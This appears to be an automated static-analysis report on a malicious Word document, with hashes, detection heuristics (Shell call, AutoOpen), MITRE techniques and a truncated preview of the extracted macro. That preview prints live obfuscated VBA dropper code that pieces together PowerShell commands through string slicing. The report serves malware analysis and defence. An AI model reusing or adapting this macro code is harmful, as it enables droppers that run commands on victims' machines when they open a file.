Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bfa92ba41f50fa14…

MALICIOUS

Office (OLE)

194.0 KB Created: 2018-05-21 13:10:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 609ac3642360f53888b5b2a934438613 SHA-1: f9bd4b4c6e5942c3b6c5e5d7aa020cb289a73471 SHA-256: bfa92ba41f50fa14c02a6b2c8db94671d3e8bbb15fbfb7550fee3141237e7e39
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, a critical heuristic firing, indicating it is designed to execute commands. This functionality is commonly used to download and execute further malicious payloads. The AutoOpen macro marker further suggests immediate execution upon opening.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6551823-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6551823-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 246240 bytes
SHA-256: 1f1905c64ca9baf142e5d0f07964fbd62072f193e64983fbccd907d1be2cde0a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EzHGczd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function hKmAEoQNTSI()

On Error Resume Next
prClFam = (GYZqVFnui - CDbl(178804) + nTEwHrsdKMJ + Fix(QZNoT / CLng(777485 * Sqr(lkEOU))) - 143648 / Sin(OQQbmlFlbBG - PtkLsbPaV - 466620 + CLng(Izchl)) * 415217 * Fix(178804))
PjUFm = "8Rowers9hgTqyUSGgOA7JA4U4hellGwSx  . ((GENPcsDK7wq3DaR"
DiLdKGVMR = CStr(Left(Right(PjUFm, 52), 5)) + CStr(Left(Right(PjUFm, 29), 4)) + Left(Right(PjUFm, 21), 4) + Left(Right(PjUFm, 17), 4) + Left(Right(PjUFm, 44), 1)

dKHXqXJDVH = "szeEPqc*mdR*').nAMI4gQU[3SL74HzbD9b2WSi5vek-vArIabLe 'ESUsHwVUatd4ZD6jBk7C8,11,zHMnjRac"
uouZYd = Left(Right(dKHXqXJDVH, 44), 11) + CStr(Left(Right(dKHXqXJDVH, 80), 11)) + Left(Right(dKHXqXJDVH, 85), 1) + CStr(Left(Right(dKHXqXJDVH, 64), 2)) + CStr(Left(Right(dKHXqXJDVH, 12), 4))

UrwZYNjUI = "szIEPqce('. ( ([sTr4gQUAngL74HzbD9b2WSi5vekqgx2]-jOin'')( HwVUatd4ZD6jBk7C81feUz]ryIVacRv9XeA"
rHpJziYoDw = CStr(Left(Right(UrwZYNjUI, 47), 12)) + CStr(Left(Right(UrwZYNjUI, 85), 11)) + Left(Right(UrwZYNjUI, 91), 1) + Left(Right(UrwZYNjUI, 69), 2) + CStr(Left(Right(UrwZYNjUI, 13), 5))

IDZEjmS = "sE3ePreFBdRmNhliCqIerBOswSL74HzbD9e2WSi"
twrIhzw = Left(Right(IDZEjmS, 20), 5) + CStr(Left(Right(IDZEjmS, 36), 5)) + CStr(Left(Right(IDZEjmS, 38), 1)) + CStr(Left(Right(IDZEjmS, 29), 1)) + CStr(Left(Right(IDZEjmS, 5), 1))

zXwUiK = "3u[1,EP]ceBdgNCE)iCqI4gQUAw"
bRwicjbhbi = Left(Right(zXwUiK, 14), 4) + Left(Right(zXwUiK, 25), 3) + Left(Right(zXwUiK, 27), 1) + Left(Right(zXwUiK, 20), 1)

qDonbjvaE = Chr(43)
hHrUVjtLRG = "2b'HqEiz3EPq"
mpGHDTUQmHz = CStr(Left(Right(hHrUVjtLRG, 7), 2)) + CStr(Left(Right(hHrUVjtLRG, 11), 2))

iBXsYNcY = Chr(43)
DLiXtwTRSd = "sz3dPqceBdb) ((EibLD5nsawSL74Hasd9b2WSi5vekqgxAzKKpOzlESU'xEib-JOInEibEi7C81feUzHMnjRacRv9XeAmaR4qCbO = EibmdCmqOIe8h"
wKUIO = CStr(Left(Right(DLiXtwTRSd, 60), 15)) + Left(Right(DLiXtwTRSd, 107), 14) + Left(Right(DLiXtwTRSd, 114), 1) + Left(Right(DLiXtwTRSd, 87), 3) + Left(Right(DLiXtwTRSd, 16), 6)

JQZmW = Chr(43)
zjupfmwpO = (ANVako - CDbl(531570) + vBwoPR + Fix(HniutSuhO / CLng(835175 * Sqr(ZLzzw))) - 531351 / Sin(cjzvQ - CLdjZTjO - 477086 + CLng(iOKisEEvvRS)) * 259741 * Fix(531570))
XmztdvNHz = "iu(BEEPbceBdgEib&iCqI4gQUAw"
MMEoWT = Left(Right(XmztdvNHz, 14), 4) + Left(Right(XmztdvNHz, 25), 3) + Left(Right(XmztdvNHz, 27), 1) + Left(Right(XmztdvNHz, 20), 1)

hfShbH = Chr(43)
PwnXj = "iuhnBEPqbeBdgmEibgCqI4gQUAwSL7"
RDdKp = Left(Right(PwnXj, 16), 4) + Left(Right(PwnXj, 28), 4) + CStr(Left(Right(PwnXj, 30), 1)) + CStr(Left(Right(PwnXj, 22), 1))

JsiDj = Chr(43)
fVjKlsb = "bgEisz3EPqEibdgmNhliC"
zMHodaMoKu = CStr(Left(Right(fVjKlsb, 11), 3)) + Left(Right(fVjKlsb, 20), 3) + Left(Right(fVjKlsb, 21), 1)

jfoFuhDCZli = Chr(43)
qoTEqoowt = "2bhHqEiz3EPq"
TYaIbAU = CStr(Left(Right(qoTEqoowt, 7), 2)) + CStr(Left(Right(qoTEqoowt, 11), 2))

AIkWBaqpH = Chr(43)
nKjkFYd = "heBgsz3EPqBghdgmNhliC"
SqXGwiB = CStr(Left(Right(nKjkFYd, 11), 3)) + Left(Right(nKjkFYd, 20), 3) + Left(Right(nKjkFYd, 21), 1)
RDTrOuJTswM = (vHhlKHzB - CDbl(510856) + HKmZlpidA + Fix(LYjjrv / CLng(23314 * Sqr(MGzhWub))) - 134218 / Sin(IKDDfEvWLK - hRcEfprlBDM - 14632 + CLng(qpqvtECk)) * 289198 * Fix(510856))
awObFsYhzBF = Chr(43)
LwlaOlhwMAE = "b1FHEisz3"
cuInTw = Left(Right(LwlaOlhwMAE, 5), 2) + Left(Right(LwlaOlhwMAE, 9), 1)

XSwPUfm = Chr(43)
QWSdi = "sE3w-objedgmihliCqI4gQEibBgh4HzbD9b2WSi5bekqg"
GiWvEPZznSp = CStr(Left(Right(QWSdi, 23), 6)) + Left(Right(QWSdi, 42), 6) + CStr(Left(Right(QWSdi, 44), 1)) + Left(Right(QWSdi, 33), 1) + Left(Right(QWSdi, 5), 1)

wfIjXLMX = Chr(43)
IpdjbaUm = "hcBgsz3EPqEibdgmNhliC"
YjHTFLdbh = CStr(Left(Right(IpdjbaUm, 11), 3)) + Left(Right(IpdjbaUm, 20), 3) + Left(Right(IpdjbaUm, 21), 1)

vSzSDdGAwDz = Chr(43)
NPTdT = "'tBgsz3EPqBghdgmNhliC"
VdVWrKS = CStr(Left(Right(NPTdT, 11), 3)) + Left(Right(NPTdT, 20)
... (truncated)

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